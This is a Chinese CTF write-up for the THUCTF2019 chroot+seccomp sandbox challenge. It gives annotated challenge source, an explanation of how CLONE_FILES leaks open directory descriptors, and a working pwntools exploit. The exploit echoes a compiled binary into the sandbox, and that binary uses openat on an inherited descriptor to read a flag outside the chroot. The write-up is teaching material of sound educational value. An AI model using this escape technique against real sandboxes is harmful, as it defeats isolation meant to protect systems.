[chroot+seccomp逃逸] THUCTF2019 之 固若金汤

news2024/11/15 13:02:13

题目分析

附件为一个源码, 其中注释我都写好了, 主要就讲关键的知识点.

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sched.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <seccomp.h>
#include <linux/seccomp.h>
#include <openssl/md5.h>
#include <sys/resource.h>


int main(int argc, char **argv)
{
    MD5_CTX ctx;
    char md5_res[17]="";
    char key[100]="";
    char sandbox_dir[100]="/home/ctf/sandbox/";
    char dir_name[100]="/home/ctf/sandbox/";

    char buf[0x11111] ,ch;
    FILE *pp;
    int i;
    int pid, fd;

    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
	/*
	struct rlimit 结构体定义了一个资源限制。它包含两个字段:
		rlim_cur: 当前资源限制。
		rlim_max: 最大资源限制。
	struct rlimit {
		__kernel_ulong_t rlim_cur;
		__kernel_ulong_t rlim_max;
	};
	
	*/
    struct rlimit r;
	// 设置进程的核心文件大小限制为 0
	// 这意味着进程在发生段错误时不会生成核心 core 文件
    r.rlim_max = r.rlim_cur = 0;
    setrlimit(RLIMIT_CORE, &r);

    memset(key, 0, sizeof(key));
    printf("input your key:\n");
    read(0, key, 20);
	// 对 key 进行 md5, 结果保存在 md5_res 中
    MD5_Init(&ctx);
    MD5_Update(&ctx, key, strlen(key));
    MD5_Final(md5_res, &ctx);
    for(int i = 0; i < 16; i++) 
        sprintf(&(dir_name[i*2 + 18]), "%02hhx", md5_res[i]&0xff);

    printf("dir : %s\n", dir_name);
    printf("So, what's your command, sir?\n");

    for (i=0;i<0x11100;i++)
    {
        read(0, &ch, 1);
        if (ch=='\n' || ch==EOF)
        {
            break;
        }
        buf[i] = ch;
    }
	// 创建一个进程
    pid = syscall(__NR_clone, CLONE_NEWNS | CLONE_NEWPID | CLONE_NEWUSER | CLONE_FILES | CLONE_NEWUTS | CLONE_NEWNET, 0, 0, 0, 0);
    if (pid) {
        if (open(sandbox_dir, O_RDONLY) == -1)
        {
            perror("fail to open sandbox dir");
            exit(1);
        }

        if (open(dir_name, O_RDONLY) != -1)
        {
        	printf("Entering your dir\n");
            if (chdir(dir_name)==-1)
            {
                puts("chdir err, exiting\n");
                exit(1);
            }
        }
        else
        {	
			// dir_name 不存在的话则进行创建并配置相关信息
           	printf("Creating your dir\n");
			// 创建一个目录
            mkdir(dir_name, 0755);
            printf("Entering your dir\n");
			// 进入 dir_name 目录
            if (chdir(dir_name)==-1)
            {
                puts("chdir err, exiting\n");
                exit(1);
            }
			// 创建相关文件夹
            mkdir("bin", 0777);
            mkdir("lib", 0777);
            mkdir("lib64", 0777);
            mkdir("lib/x86_64-linux-gnu", 0777);
			// 复制相关文件到当前工作目录下的文件夹中
            system("cp /bin/bash bin/sh");
            system("cp /bin/chmod bin/");
            system("cp /usr/bin/tee bin/");
            system("cp /lib/x86_64-linux-gnu/libtinfo.so.5 lib/x86_64-linux-gnu/");
            system("cp /lib/x86_64-linux-gnu/libdl.so.2 lib/x86_64-linux-gnu/");
            system("cp /lib/x86_64-linux-gnu/libc.so.6 lib/x86_64-linux-gnu/");
            system("cp /lib64/ld-linux-x86-64.so.2 lib64/");
        }

        char uidmap[] = "0 1000 1", filename[30];
        char pid_string[7];
        sprintf(pid_string, "%d", pid);
		// filename 为 /proc/pid/uid_map
		// 文件包含了当前进程的 UID 映射信息
		// 格式为: <inside-uid> <outside-uid> <count>
		// <inside-uid> 是进程内部的 UID
		// <outside-uid> 是进程外部的 UID
		// <count> 是映射的 UID 的数量
        sprintf(filename, "/proc/%s/uid_map", pid_string);
        fd = open(filename, O_WRONLY|O_CREAT);
		// 写入 0 1000 1
		// 表示进程内部的 UID 0 映射到进程外部的 UID 1000
		// 这意味着进程在容器内部的 UID 为 0,但在容器外部的 UID 为 1000
        if (write(fd, uidmap, sizeof(uidmap)) == -1)
        {
            printf("write to uid_map Error!\n");
            printf("errno=%d\n",errno);
        }
        exit(0);
    }
    sleep(1);

    // entering sandbox
    if (chdir(dir_name)==-1)
    {
        puts("chdir err, exiting\n");
        exit(1);
    }
	// 更改当前目录为该进程的根目录
    if (chroot(".") == -1)
    {
        puts("chroot err, exiting\n");
        exit(1);
    }

    // set seccomp
	// 设置沙箱, 杀了 mkdir, link, symlink, unshare, prctl, chroot, seccomp 系统调用
    scmp_filter_ctx sec_ctx;
    sec_ctx = seccomp_init(SCMP_ACT_ALLOW);
    seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(mkdir), 0);
    seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(link), 0);
    seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(symlink), 0);
    seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(unshare), 0);
    seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(prctl), 0);
    seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(chroot), 0);
    seccomp_rule_add(sec_ctx, SCMP_ACT_KILL, SCMP_SYS(seccomp), 0);
    seccomp_load(sec_ctx);
	// 执行命令, 管道只能写
    pp = popen(buf, "w");
    if (pp == NULL)
        exit(0);
    pclose(pp);
    return 0;
}

总的来说功能就是用户输入一个 key, 然后对其进行 md5, 用此作为路径名设置沙箱, 在沙箱中可以执行一条 shell 命令.

漏洞分析

 漏洞主要在下面这句代码.

 pid = syscall(__NR_clone, CLONE_NEWNS | CLONE_NEWPID | CLONE_NEWUSER | CLONE_FILES | CLONE_NEWUTS | CLONE_NEWNET, 0, 0, 0, 0);

可以看到其设置了 CLONE_FILES 标志, 这表示父子进程共享文件打开表. 而题目在父进程中打开了以下三个文件并且没有关闭:( 这里目录统称为文件

1) /home/ctf/sandbox/

2) /home/ctf/sandbox/md5(key)

3) /proc/pid/uid_map

其对应的文件描述符依次为3, 4, 5. 所以可以利用 openat 函数进行逃逸:

#include <fcntl.h>
int openat(int dirfd, const char *pathname, int flags, ...);
  • dirfd 是要打开文件的目录的文件描述符。
  • pathname 是要打开的文件的路径名。
  • flags 是打开文件的标志。

 所以这里如果我们设置 dirfd 为 3, 然后 pathname 使用 ../../ 进行目录穿越即可完成逃逸

这里有个 demo:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <sys/resource.h>

int main(int argc, char** argv, char** envp)
{
        FILE* pp;
        int pid;
        pid = syscall(__NR_clone, CLONE_FILES|CLONE_NEWNS|CLONE_NEWPID|CLONE_NEWUSER|CLONE_NEWUTS|CLONE_NEWNET, 0, 0, 0, 0);
        if (pid)
        {
                open("/tmp", O_RDONLY);
                printf("1 Pid: %d\n", getpid());
                printf("2 Child Pid: %d\n", pid);
                sleep(30);
                exit(0);
        }
        sleep(1);
        printf("3 Child pid: %d\n", getpid());
        pp = popen("echo '4 Pid: '$$;sleep 100", "w");
        if (!pp) exit(0);
        pclose(pp);
        return 0;
}

可以看到4个进程中都存在 3 这个文件描述符并且指向同一位置 

漏洞利用

在漏洞分析阶段, 我们已经提出了利用方式, 即通过 openat 配合父进程"遗留"的文件描述符实现逃逸.

但是这里就存在一个问题了, 在题目分析中已经说了, 最后我们只能通过 popen 去执行一个 shell 命令. 而原则上题目只给了 bash, chmod, tee 三个 shell 命令. 而我们最后是要利用 openat 打开 flag文件进行读取输出, 所以我们像 kernel pwn 那样上传一个 exp 然后执行. 那么如何将 exp 写入文件呢? 在 kernel pwn 中我们都是通过 echo 来完成的. 这里有 echo 吗? 答案是有的, 别忘了内建命令.

看看 gpt 的回答: 

  • 可用性不同:内建命令在所有 Linux 系统上都可用,而非内建命令则需要安装相应的软件包才能使用。

而我们可以通过 type 去简单判断一下是否是内建命令. 比如:

本地复现

修改代码为如下代码: 注: 这里仅仅为了本地复现而已, 所以把 seccomp 给删了:(因为我虚拟机没下

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sched.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <sys/stat.h>


int main(int argc, char **argv)
{
    char sandbox_dir[100]="/home/xiaozaya/rubbish/fx/sandbox/";
    char dir_name[100]="/home/xiaozaya/rubbish/fx/sandbox/511721";

    char buf[0x11111] ,ch;
    FILE *pp;
    int i;
    int pid, fd;

    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    struct rlimit r;

    r.rlim_max = r.rlim_cur = 0;
    setrlimit(RLIMIT_CORE, &r);

    printf("dir : %s\n", dir_name);
    printf("So, what's your command, sir?\n");

    for (i=0;i<0x11100;i++)
    {
        read(0, &ch, 1);
        if (ch=='\n' || ch==EOF)
        {
            break;
        }
        buf[i] = ch;
    }

    pid = syscall(__NR_clone, CLONE_NEWNS | CLONE_NEWPID | CLONE_NEWUSER | CLONE_FILES | CLONE_NEWUTS | CLONE_NEWNET, 0, 0, 0, 0);
    if (pid) {
        if (open(sandbox_dir, O_RDONLY) == -1)
        {
            perror("fail to open sandbox dir");
            exit(1);
        }

        if (open(dir_name, O_RDONLY) != -1)
        {
                printf("Entering your dir\n");
            if (chdir(dir_name)==-1)
            {
                puts("chdir err, exiting\n");
                exit(1);
            }
        }
        else
        {
            printf("Creating your dir\n");
            mkdir(dir_name, 0755);
            printf("Entering your dir\n");
            if (chdir(dir_name)==-1)
            {
                puts("chdir err, exiting\n");
                exit(1);
            }
            mkdir("bin", 0777);
            mkdir("lib", 0777);
            mkdir("lib64", 0777);
            mkdir("lib/x86_64-linux-gnu", 0777);
            system("cp /bin/bash bin/sh");
            system("cp /bin/chmod bin/");
            system("cp /usr/bin/tee bin/");
            system("cp /lib/x86_64-linux-gnu/libtinfo.so.6 lib/x86_64-linux-gnu/");
            system("cp /lib/x86_64-linux-gnu/libdl.so.2 lib/x86_64-linux-gnu/");
            system("cp /lib/x86_64-linux-gnu/libc.so.6 lib/x86_64-linux-gnu/");
            system("cp /lib64/ld-linux-x86-64.so.2 lib64/");
        }

        char uidmap[] = "0 1000 1", filename[30];
        char pid_string[7];
        sprintf(pid_string, "%d", pid);

        sprintf(filename, "/proc/%s/uid_map", pid_string);
        fd = open(filename, O_WRONLY|O_CREAT);
        if (write(fd, uidmap, sizeof(uidmap)) == -1)
        {
            printf("write to uid_map Error!\n");
            printf("errno=%d\n",errno);
        }
        exit(0);
    }
    sleep(1);

    // entering sandbox
    if (chdir(dir_name)==-1)
    {
        puts("chdir err, exiting\n");
        exit(1);
    }

    if (chroot(".") == -1)
    {
        puts("chroot err, exiting\n");
        exit(1);
    }

    pp = popen(buf, "w");
    if (pp == NULL)
        exit(0);
    pclose(pp);
    return 0;
}

exp 如下:

import os
from pwn import *
import codecs

io = process("./pwn")

code = '''
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
int main(){
        char buf[20]={0};
        int fd = openat(4, "../flag", 0);
        read(fd, buf, 100);
        write(1, buf, 0x20);
        printf("Good !\\n");
}
'''

a = open('exp.c','w')
a.write(code)
a.close()
os.system("gcc exp.c -o exp")
b = open("./exp", "rb").read()
b = codecs.encode(b, "hex").decode()
c = ""
for i in range(0,len(b),2):
        c += '\\x'+b[i]+b[i+1]
payload = 'echo -e "'+c+'"'+'> exp;chmod +x exp; ./exp'
print("[+] length: " + hex(len(payload)))

io.recv()
io.sendline(payload)
io.recv()
io.interactive()

 效果如下:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1248526.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Windows power shell for循环

有时候需要重复执行某个shell命令 for($i1;$i -lt 10;$i$i1){echo $i}如果是cmd for /l %i in (1,1,5) do echo %i

jQuery_04 jQuery选择器应用

jQuery中的选择器 1.基本选择器 1.1 id $("#id值") id名称 1.2 class $(".class值") class名称 1.3 标签选择器 $("标签名字") 标签名称 1.4 所有选择器 $("*") 所有标签 1.5 组合选择器 …

NLP中 大语言模型LLM中的思维链 Chain-of-Thought(CoT) GoT

文章目录 介绍思路CoT方法Few-shot CoTCoT Prompt设计CoT投票式CoT-自洽性&#xff08;Self-consistency&#xff09;使用复杂的CoT自动构建CoTCoT中示例顺序的影响Zero-shot CoT 零样本思维链 GoT,Graph of Thoughts总结 介绍 在过去几年的探索中&#xff0c;业界发现了一个现…

无线测温系统的应用领域

电力测温对于一个用电量很大的行业来说是必不可少的。但是在现在的无线测温技术发展之前&#xff0c;传统的温度监测方式&#xff08;目测法、试温蜡片法等&#xff09;有许多的弊端&#xff1a;测量周期长、施工复杂&#xff0c;效率低&#xff0c;不便于管理&#xff0c;发生…

手机APP-MCP走蓝牙无线遥控智能安全帽~执法记录仪~拍照录像,并可做基础的配置,例如修改服务器IP以及配置WiFi等

手机APP-MCP走蓝牙无线遥控智能安全帽~执法记录仪~拍照录像,并可做基础的配置,例如修改服务器IP以及配置WiFi等 手机APP-MCP走蓝牙无线遥控智能安全帽~执法记录仪~拍照录像,并可做基础的配置,例如修改服务器IP以及配置WiFi等&#xff0c; AIoT万物智联&#xff0c;智能安全帽…

Linux 家目录和根目录

摘要&#xff1a; 在 Linux 操作系统中&#xff0c;家目录和根目录是两个非常重要的概念。它们是 Linux 文件系统中的两个关键节点&#xff0c;为用户和系统进程提供存储、管理和访问文件和目录的接口。本文旨在深入探讨和理解这两个目录的结构、功能和使用方式&#xff0c;同时…

nginx的n种用法(nginx安装+正向代理+反向代理+透明代理+负载均衡+静态服务器)

nginx的安装 一、安装依赖 # 一键安装四个依赖 yum -y install gcc zlib zlib-devel pcre-devel openssl openssl-devel二、安装nginx yum install nginx三、检查是否安装成功 nginx -v四、启动/停止nginx /etc/init.d/nginx start /etc/init.d/nginx stop五、编辑配置文件…

【操作系统】线程的状态

目录 1.前言 2.状态列表 3.代码演示 1.前言 在线程中&#xff0c;有很多的状态。这些状态代表了线程目前所处的位置和情况&#xff0c;我们也可以通过这些状态&#xff0c;在以后的工作中&#xff0c;精准的定位到程序出现的问题。 2.状态列表 在Thread类所创建的对象中&a…

java 反射和注解1-反射详解

反射和注解本就是一家人&#xff0c;注解离不开反射&#xff0c;这里先将反射的写法&#xff0c;本文涉到的注解暂时可以不不用理解 1&#xff0c;创建一个类 public class ReflexUser {public String name;private String namePrivate;protected String nameProtected;Strin…

《数据结构、算法与应用C++语言描述》-代码实现散列表(线性探查与链式散列)

散列表 完整可编译运行代码&#xff1a;Github:Data-Structures-Algorithms-and-Applications/_22hash/ 定义 字典的另一种表示方法是散列&#xff08;hashing&#xff09;。它用一个散列函数&#xff08;也称哈希函数&#xff09;把字典的数对映射到一个散列表&#xff08…

2024春招必备软件测试八股文

1、什么是兼容性测试&#xff1f;兼容性测试侧重哪些方面&#xff1f; 参考答案&#xff1a; 兼容测试主要是检查软件在不同的硬件平台、软件平台上是否可以正常的运行&#xff0c;即是通常说的软件的可移植性。 兼容的类型&#xff0c;如果细分的话&#xff0c;有平台的兼容…

【科普知识】什么是步进电机?

德国百格拉公司于1973年发明了五相混合式步进电机及其驱动器&#xff0c;1993年又推出了性能更加优越的三相混合式步进电机。我国在80年代以前&#xff0c;一直是反应式步进电机占统治地位&#xff0c;混合式步进电机是80年代后期才开始发展。 步进电机是一种用电脉冲信号进行…

【ArcGIS Pro微课1000例】0035:栅格影像拼接(dem高程数据)

本实验讲解在ArcGIS Pro中,栅格数据的两种拼接(镶嵌)方法,适用于遥感影像、DOM、DEM、DSM等常见栅格数据。 文章目录 一、加载实验数据二、栅格拼接工具1. 镶嵌2. 镶嵌至新栅格三、注意事项四、拓展阅读一、加载实验数据 加载配套实验数据中的0035.rar中的两个dem数据,如…

C语言之strstr函数的使用和模拟实现

C语言之strstr函数的模拟实现 文章目录 C语言之strstr函数的模拟实现1. strstr函数的介绍2. strstr函数的使用3. strstr的模拟实现3.1 实现思路3.2 实现代码 1. strstr函数的介绍 函数声明如下&#xff1a; char * strstr ( const char * str1, const char * str2 ); strs…

Python---函数定义时缺省参数(参数默认值)

缺省参数也叫默认参数&#xff0c;用于定义函数&#xff0c;为参数提供默认值&#xff0c;调用函数时可不传该默认参数的值&#xff08;注意&#xff1a;所有位置参数必须出现在默认参数前&#xff0c;包括函数定义和调用&#xff09;。 def user_info(name, age, gender男):pr…

【腾讯云云上实验室-向量数据库】Tencent Cloud VectorDB为非结构化数据查询插上飞翔的翅膀——以企业知识库为例

前言 以前我曾疑惑&#xff0c;对于非结构化的内容&#xff0c;如一张图片或一段视频&#xff0c;如何实现搜索呢&#xff1f;图片或视频作为二进制文件&#xff0c;我们如何将其转化为可搜索的数据并存储起来&#xff0c;然后在搜索时将其还原呢&#xff1f; 后来我发现&…

【链表之练习题】

文章目录 翻转链表找到链表的中间节点返回倒数第k个节点合并两个有序链表判断链表是否回文注意 翻转链表 //反转链表//实质上是把每一个节点头插法,原本第一个节点变成最后一个节点public ListNode reverseList(){//链表为空if (head null){return null;}//链表只有一个节点if…

【腾讯云云上实验室】向量数据库与数据挖掘分析的黄金组合指南

前言&#xff1a; 在当今信息化时代&#xff0c;掌握对数据进行挖掘和分析的能力变得愈发关键。根据需求精准处理数据不仅仅是一项技能&#xff0c;更是对未来决策和操作的至关重要的支持。除了熟练运用适当的算法模型对大数据进行挖掘和分析外&#xff0c;合理高效存储和处理大…

文件批量重命名技巧:图片文件名太长怎么办?告别手动改名方法

在日常生活中&#xff0c;常常会遇到文件名过长导致的问题。尤其是在处理大量图片文件时&#xff0c;过长的文件名可能会使得文件管理变得混乱不堪。现在来看下云炫文件管理器如何批量重命名&#xff0c;让图片文件名变得更简洁&#xff0c;提高工作效率。 操作1、在云炫文件…

Nginx模块开发之http handler实现流量统计(2)

文章目录 一、概述二、Nginx handler模块开发2.1、代码实现2.2、编写config文件2.3、编译模块到Nginx源码中2.4、修改conf文件2.5、执行效果 总结 一、概述 上一篇【Nginx模块开发之http handler实现流量统计&#xff08;1&#xff09;】使用数组在单进程实现了IP的流量统计&a…